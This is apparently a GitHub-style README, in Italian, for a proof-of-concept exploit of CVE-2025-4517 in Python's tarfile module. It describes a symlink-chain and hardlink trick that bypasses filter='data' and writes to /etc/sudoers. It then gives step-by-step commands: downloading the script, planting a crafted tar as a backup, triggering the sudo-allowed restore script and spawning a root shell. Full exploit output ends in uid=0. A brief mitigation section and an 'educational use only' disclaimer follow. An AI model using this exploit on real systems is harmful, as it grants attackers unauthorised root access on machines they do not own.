
Script di escalation dei privilegi per CVE-2025-4517
Questo exploit e descrizione sono scritti da AI. Se trovi un errore o un problema, per favore fammelo sapere! Questo exploit è stato testato e funziona correttamente. Grazie!
Questo exploit sfrutta CVE-2025-4517, una vulnerabilità critica nel modulo tarfile di Python che permette la scrittura arbitraria di file tramite una combinazione di path traversal tramite symlink e manipolazione di hardlink. Questo bypassa la protezione filter="data" introdotta in Python 3.12.
La vulnerabilità sfrutta un difetto nel modo in cui tarfile.extractall() di Python gestisce l'interazione tra:
filter="data" blocca i symlink diretti, ma la tecnica degli hardlink elude questa protezione1. Creare directory annidate profonde (path confusion)
└─ Utilizza nomi di directory di 247 caratteri ripetuti per 16 livelli
2. Costruire una catena di symlink per il traversal
└─ Crea symlink che risalgono attraverso l'albero delle directory
3. Symlink di fuga verso la directory target (/etc)
└─ Il symlink finale punta al di fuori del confine di estrazione
4. Creare un hardlink che punta attraverso il symlink di fuga
└─ Hardlink: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"
5. Scrivere contenuto nell'hardlink
└─ Scrivere su "sudoers_link" scrive effettivamente su /etc/sudoers
Script: /opt/backup_clients/restore_backup_clients.py
# Frammento di codice vulnerabile
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
Permessi Sudo:
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
/opt/backup_clients/backups/# Scarica l'exploit
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# Trasferiscilo nel sistema target
# Esegui l'exploit
./exploit.py
# Oppure con Python
python3 exploit.py
Se preferisci eseguire ogni passo manualmente:
# 1. Crea il tar dell'exploit
python3 exploit.py --create-only
# 2. Distribuisci sul target
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar
# 3. Esegui tramite lo script vulnerabile
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b backup_9999.tar \
-r restore_exploit
# 4. Verifica la modifica di sudoers
sudo cat /etc/sudoers | grep "$(whoami)"
# 5. Ottieni i permessi di root
sudo /bin/bash
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-4517 Tarfile Exploit ║
║ Escalation di Privilegi tramite Bypass Symlink + Hardlink ║
╚═══════════════════════════════════════════════════════════╝
[*] Utente target: wacky
[*] Creazione tar exploit per l'utente: wacky
[*] Fase 1: Costruzione struttura directory annidata...
[*] Fase 2: Creazione catena symlink per path traversal...
[*] Fase 3: Creazione symlink di fuga verso /etc...
[*] Fase 4: Creazione hardlink verso /etc/sudoers...
[*] Fase 5: Scrittura voce sudoers...
[+] Exploit tar creato: /tmp/cve_2025_4517_exploit.tar
[*] Distribuzione exploit su: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit distribuito con successo
[*] Attivazione estrazione tramite script vulnerabile...
[+] Backup: backup_9999.tar
[+] Directory stage: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Estrazione completata in /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Estrazione completata
[*] Verifica successo exploit...
[+] SUCCESSO! Utente 'wacky' aggiunto a sudoers
[+] Voce: wacky ALL=(ALL) NOPASSWD: ALL
============================================================
[+] SFRUTTAMENTO RIUSCITO!
[+] L'utente 'wacky' ora ha pieni privilegi sudo
[+] Ottieni root con: sudo /bin/bash
============================================================
[?] Avviare shell root ora? (s/n): s
[*] Avvio shell root...
[*] Esegui: sudo /bin/bash
root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
/etc/sudoers python3 --version # Controlla la versione
# Controlla membri sospetti prima dell'estrazione
for member in tar.getmembers():
if member.islnk() or member.issym():
raise SecurityError("Symlink/hardlink non consentiti")
import os
for member in tar.getmembers():
member_path = os.path.join(extract_path, member.name)
if not member_path.startswith(os.path.abspath(extract_path)):
raise SecurityError("Path traversal rilevato")
# Rimuovere o limitare l'accesso sudo allo script di backup
visudo
# Controlla contenuto tar prima dell'estrazione
tar -tzf archive.tar | grep -E '\.\./|^/'
/etc/sudoers # Configurare AIDE o simile IDS
aide --check
Questo exploit è fornito solo a scopo educativo ed è destinato all'uso in:
Gli autori non si assumono alcuna responsabilità per l'uso improprio di questo codice.
Ricerca Originale: Molteplici ricercatori di sicurezza (vedi Riferimenti)
Licenza MIT – Vedi file LICENSE per i dettagli
Ultimo Aggiornamento: Marzo 2026